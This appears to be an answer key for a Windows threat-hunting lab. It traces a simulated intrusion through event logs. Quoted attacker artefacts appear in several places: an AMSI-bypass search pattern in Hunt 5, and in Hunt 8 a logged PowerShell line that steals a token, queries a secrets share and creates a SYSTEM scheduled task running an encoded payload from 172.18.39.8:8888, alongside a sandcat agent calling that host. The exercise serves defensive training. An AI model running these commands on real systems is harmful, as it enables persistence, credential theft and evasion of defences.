



Answers

Hunt 1

1. At what date & time was the initial infection?

```
May 14, 2019 @ 18:32:23.415
```

2. Which user executed the .vbs file and on which host?

```
user_account          shire\nmartha
```

3. What IP address was used by the C2 server?

```
https://10.0.10.106
```

Hunt 2

1. How many events occurred in total?

30,717 hits

2. What is the value of the 'log_name' field?

log_name Windows PowerShell

3. How many times was the invoke-expression cmdlet executed?

35 hits

4. In the 'param3' field of the oldest event, what was the first recon command executed?

ParameterBinding(Invoke-Expression): name="Command"; value="route print"

Hunt 3

1. What process spawned MSBuild.exe?

```
process_parent_name      powershell.exe
```

2. What is the name of the project file that MSBuild.exe used as input?

```
C:\ProgramData\salaries.xml
```


3. From what IP address was the .xml file downloaded?

```
172.18.39.8/
```

4. What LOLBAS was used to download it?

```
certutil.exe
```

5. At what time was the file written to disk?



```
event.action      File created (rule: FileCreate)
event.code        11
event.created      2019-10-27T04:23:22.572Z
event.kind        event
event_id          11
file_name          c:\programdata\salaries.xml
```

Hunt 4

1. Which two event id's appear within the results of the search and which Windows log file do they belong to?

event_id	log_name
800	Windows PowerShell
4,103	Microsoft-Windows-PowerShell/Operational

2. What are the WMI 'namespace' and 'class' values queried to determine the anti-virus software installed on hr001.shire.com?

```
name="Namespace"; value="root\SecurityCenter"
name="Class"; value="Antivirusproduct"
```

3. Bonus – Get-WmiObject cmdlet details:

```
PS C:\Users\Austin> (Get-WmiObject -class Win32_OperatingSystem).Caption
Microsoft Windows 10 Home
PS C:\Users\Austin> (Get-WmiObject -class win32_operatingsystem).OSArchitecture
64-bit
```

Hunt 5

1. Potential Analytic #2

event_id:800 and "[Ref].Assembly.GetType" and "SetValue(\$null,\$true)"

2. How many times was the AMSI bypass used within all event id 800s?

8 hits

3. Which two event id's within this dataset provide visibility into the usage of the AMSI bypass?

Time ▾	event_id
> May 14, 2019 @ 18:59:51.366	800
> May 14, 2019 @ 18:59:51.007	800
> May 14, 2019 @ 18:59:50.423	4,104

Hunt 6

1. What is Sysmon event id 11? ([SysmonEventID11](#))

Event ID 11: FileCreate

2. What process wrote the lsass.dmp file and at what time?

```
t process_name taskmgr.exe
```

3. What is Sysmon event ID 10? ([SysmonEventID10](#))

Event ID 10: ProcessAccess

4. Given the value of the 'process_granted_access' field, what process rights did taskmgr.exe have?

PROCESS_ALL_ACCESS

5. Which DLL within the 'process_call_trace' field details looks like something related to debugging which could also be used to detect the creation of a .dmp file?

```
C:\Windows\system32\dbgcore.DLL
```

Hunt 7

1. What does this event id signify?

Event ID 4697 is created each time a new service is created ([event-4697](#))

2. What is the older version of this event id prior to Win10/Srv2016?

Event ID 7045 is the older service creation event and it is logged under 'System' as apposed to 'Security' as in the case of event id 4697

3. Which event looks suspicious based on it's "service_image_path" value?

Time ▼	service_image_path	service_name
May 14, 2019 @ 19:13:31.356	cmd.exe /c "c:\users\pgustavo\appdata\roaming\adobe\flash player\autoupdate.vbs"	adobeupdater

Hunt 7 - Continued

1. On which host did this process execute?

```
t host_name hr001.shire.com
```

2. Which binary was executed?

```
process_name sc.exe
```

3. As a result of this command, which computer was impacted? And how?

```
process_command_line "c:\windows\system32\sc.exe" \\hfdc01
```

How - A service by the name of 'adobe flash updater' was created – see event id 4697 / 7045

Bonus 1 – What process is responsible for the execution of service executables (not .dlls) within Windows?

```
c:\windows\system32\services.exe
```

Bonus 2 – What were the processes that executed as a result of the service creation on hfdc01.shire.com

Time	event_id	process_parent_name	process_path
May 14, 2019 @ 19:16:10.695	1	wscript.exe	c:\windows\system32\windowpowershell\v1.0\powershell.exe
May 14, 2019 @ 19:16:10.316	1	cmd.exe	c:\windows\system32\wscript.exe
May 14, 2019 @ 19:16:09.942	1	services.exe	c:\windows\system32\cmd.exe
May 14, 2019 @ 19:13:31.295	1	powershell.exe	c:\windows\system32\sc.exe

Hunt 8

1. What is event id 4698? ([event-4698](#))

4698(S): A scheduled task was created.

2. What Windows advanced audit policy needs to be enabled to log such events?

Other Object Access Events ([audit-other-object-access-events](#))

3. What is the name of the scheduled task?

scheduled_task_name

⚠ \resume viewer update checker

Hunt 8 - Continued

1. What binary/process was used to create the scheduled task?

process_name	schtasks.exe
--------------	--------------

2. What was the parent process chain that resulted in the creation of the task?

Time	process_parent_name	process_name
Oct 20, 2019 @ 16:21:48.401	cmd.exe	schtasks.exe
Oct 20, 2019 @ 16:21:48.086	cmd.exe	conhost.exe
Oct 20, 2019 @ 16:21:48.058	powershell.exe	cmd.exe

3. What process/binary was responsible for the source of the original Powershell process that amongst other things created the scheduled task?

```
> Oct 20, 2019 @ 16:21:47.802 1 powershell.exe -executionpolicy bypass -c "import-module .\stealtoken.ps1 -verbose -force;stealtoken;createprocesswithto ken -commandline 'cmd.exe /c reg query \"\\\\\\\\file001\\secrets\\hkml\\system\\currentcontrolset\\control\\terminal server\\\";mo ve-item -path .\\update.ps1 -destination $env:appdata -force;$pcode = [system.convert]::tobase64string([system.text.encoded ing]::unicode.getbytes(\"import-module $env:appdata\\update.ps1;update('http://172.18.39.8:8888')\"));createprocesswithto ken -commandline 'cmd.exe /c schtasks /create /tn \"resume viewer update checker\" /tr \"powershell.exe -nop -exec bypas s -encodedcommand $pcode\" /sc onlogon /ru system';createprocesswithtoken -commandline 'cmd.exe /c dir /s /b \\file001\\s ecrets'.createprocesswithtoken -commandline 'cmd.exe /c tree %userprofile%'.revertto self;" cmd.exe
```

```
> Oct 20, 2019 @ 16:21:45.877 1 "c:\\users\\public\\sandcat.exe" -server http://172.18.39.8:8888 -group evals_caldera powershell.e xe
```

Hunt 9

1. Which field within the 5145 event tells you that this file was written to disk and not just accessed/read?

```
object_access_mask_requested 0x2
```

(event-5145)

```
Access Request Information:
Access Mask: 0x2
Accesses: WriteData (or AddFile)
```

2. What Sysmon event id can provide the same information, but applies to files written where specified via it's xml configuration?

```
# event_id 11
t file_name c:\users\pgustavo\appdata\roaming\adobe\flash player\autoupdate.vbs
```

3. What user, process and command triggered the event id 11/5145 on hfdc01.shire.com?

```
Pipeline execution details for command line: COPY c:\Windows\System32\autoupdate.vbs "\\HFDC01\C$\Users\pgustavo\AppData\Roaming\Adobe\Flash Player\autoupdate.vbs".
```

```
UserId=SHIRE\pgustavo
```

```
HostName=ConsoleHost
```

```
HostVersion=5.1.17763.316
```

```
HostId=63dec539-9f0e-45f1-8b69-b0c614fc2b57
```

```
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noP -sta -w 1 -enc
```